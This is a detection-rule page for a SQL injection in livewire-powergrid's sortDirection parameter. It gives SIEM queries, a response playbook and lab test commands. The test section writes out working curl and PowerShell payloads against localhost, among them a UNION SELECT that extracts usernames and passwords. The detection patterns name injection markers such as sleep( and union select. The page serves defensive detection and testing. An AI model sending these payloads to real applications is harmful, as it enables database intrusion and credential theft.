Detect livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971) in IBM QRadar
Detects exploitation attempts against CVE-2026-65971, a SQL injection vulnerability in the power-components/livewire-powergrid Composer package (>= 6.0.0, < 6.10.4). The library fails to validate the sortDirection parameter when building naturalSort ORDER BY clauses, allowing an attacker to inject arbitrary SQL through Livewire component update requests. Because sorting is driven by Livewire's client-to-server state updates, exploitation appears as crafted POST requests to Livewire endpoints (/livewire/update or /livewire/message) carrying a sortDirection value containing SQL metacharacters, boolean/time-based blind payloads, UNION/stacked queries, or ORDER BY subselects. Detection correlates web/WAF logs and database query logs for anomalous sortDirection content and malformed ORDER BY clauses.
MITRE ATT&CK
- Tactic
- Initial Access Collection
QRadar Detection Query
-- df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
SELECT sourceip, destinationip, "URL", "User Agent", "HTTP Response Code", PAYLOAD FROM events WHERE ("URL" ILIKE '%/livewire/update%' OR "URL" ILIKE '%/livewire/message%' OR UTF8(payload) ILIKE '%sortDirection%') AND UTF8(payload) ILIKE '%sortdirection%' AND (UTF8(payload) ILIKE '%union select%' OR UTF8(payload) ILIKE '%sleep(%' OR UTF8(payload) ILIKE '%benchmark(%' OR UTF8(payload) ILIKE '%pg_sleep%' OR UTF8(payload) ILIKE '%waitfor delay%' OR UTF8(payload) ILIKE '%case when%' OR UTF8(payload) ILIKE '%--%' OR UTF8(payload) ILIKE '%/*%') ORDER BY "startTime" DESC LAST 24 HOURS QRadar AQL query surfacing Livewire HTTP events whose payload contains a sortDirection parameter with SQL injection markers for CVE-2026-65971.
Data Sources
Required Tables
False Positives & Tuning
- Scanner or pentest traffic probing the parameter.
- Benign payloads with incidental comment or operator tokens.
- QA automation replaying crafted Livewire requests.
Other platforms for CVE-2026-65971
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Time-based blind SQLi via sortDirection
Expected signal: Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.
- Test 2 UNION-based SQLi via sortDirection
Expected signal: Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.
- Test 3 ORDER BY boolean injection via sortDirection
Expected signal: IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.
References (5)
- https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r
- https://nvd.nist.gov/vuln/detail/CVE-2026-65971
- https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a
- https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4
- https://github.com/advisories/GHSA-7fgc-3h6c-698r
Response Playbook
Triage
- Confirm the targeted application bundles power-components/livewire-powergrid and resolve its installed version via composer.lock; versions >= 6.0.0 and < 6.10.4 are vulnerable.
- Extract the full sortDirection/naturalSort value from the flagged request and decode any URL/JSON/Livewire payload encoding to reveal the raw SQL fragment.
- Classify the payload intent: ORDER BY manipulation, boolean-blind, time-based blind (sleep/benchmark/pg_sleep/waitfor), UNION-based extraction, or stacked query.
- Review the HTTP response code, size, and latency for the flagged request to judge whether injection succeeded (e.g., delayed response for time-based payloads).
Containment
- Deploy a WAF rule rejecting Livewire requests whose sortDirection parameter is not exactly 'asc' or 'desc'.
- Upgrade power-components/livewire-powergrid to 6.10.4 or later across all affected deployments.
- If immediate patching is not possible, restrict database account privileges used by the application to read-only on required tables and revoke stacked-query/DDL rights.
Evidence Collection
- Preserve raw web/WAF access logs including request bodies for all requests from the source IP over the exposure window.
- Capture corresponding database query logs (general/slow/audit log) to identify the exact executed ORDER BY statements and any data accessed.
Escalation Criteria
- !Escalate to incident response if database logs confirm the injected SQL executed (e.g., UNION rows returned or measurable time delay).
- !Escalate if evidence shows exfiltration of sensitive tables, credential tables, or successful stacked write/DDL operations.
Investigation Guide
Forensic Artifacts
- >
Web/WAF access logs containing the malicious sortDirection payload and source IP. - >
Database query/audit logs showing malformed ORDER BY clauses originating from the application account. - >
Application (Laravel) logs showing query exceptions or anomalous Livewire component update activity.
Tuning Guidance
Baseline legitimate sortDirection values, they should only ever be 'asc' or 'desc'. Convert this to an allowlist detection (alert on any value not in {asc,desc}) once you confirm the application does not use custom sort aliases, which dramatically lowers false positives. Exclude known scanner IPs and authorized pentest windows, and whitelist internal synthetic-monitoring source addresses.
Hunting Queries
Surfaces any Livewire requests where sortDirection carries characters beyond the expected asc/desc tokens, grouped by source IP for burst detection.
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/livewire/" | extend body = tolower(coalesce(column_ifexists("csBody",""), cs_uri_query)) | where body has "sortdirection" and (body has "(" or body has "'" or body has "--" or body has "select") | summarize count() by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/livewire/*") | eval p=lower(coalesce(form_data,uri_query)) | where like(p,"%sortdirection%") AND (like(p,"%(%") OR like(p,"%'%") OR like(p,"%--%") OR like(p,"%select%")) | stats count by src_ip, uri_path Atomic Red Team Tests
Sends a Livewire update request with a time-based blind payload in sortDirection against a lab instance of livewire-powergrid < 6.10.4.
Command
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"calls":[{"method":"sortBy","params":["name"]}],"updates":{"sortDirection":"asc,(SELECT 1 FROM (SELECT SLEEP(5))x)"}}]}' Cleanup
echo 'No persistent artifacts; restart the lab app if DB connections are saturated: php artisan serve restart' Expected Telemetry
Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.
Expected Detection
KQL/SPL rules match on sortdirection + sleep( pattern.
Attempts UNION-based injection through the naturalSort ORDER BY clause.
Command
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"updates":{"sortDirection":"asc) UNION SELECT username,password FROM users-- -"}}]}' Cleanup
echo 'No cleanup required' Expected Telemetry
Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.
Expected Detection
All seven SIEM rules match on sortdirection + union select pattern.
Injects a boolean/ORDER BY-breaking payload via sortDirection to confirm the naturalSort SQLi primitive.
Command
powershell -c "Invoke-WebRequest -Uri 'http://localhost:8000/livewire/update' -Method POST -ContentType 'application/json' -Headers @{'X-Livewire'='true'} -Body '{\"components\":[{\"updates\":{\"sortDirection\":\"asc) AND 1=1-- -\"}}]}'" Cleanup
Write-Output 'No cleanup required' Expected Telemetry
IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.
Expected Detection
KQL W3CIISLog rule and CrowdStrike CQL rule match on the boolean ORDER BY pattern.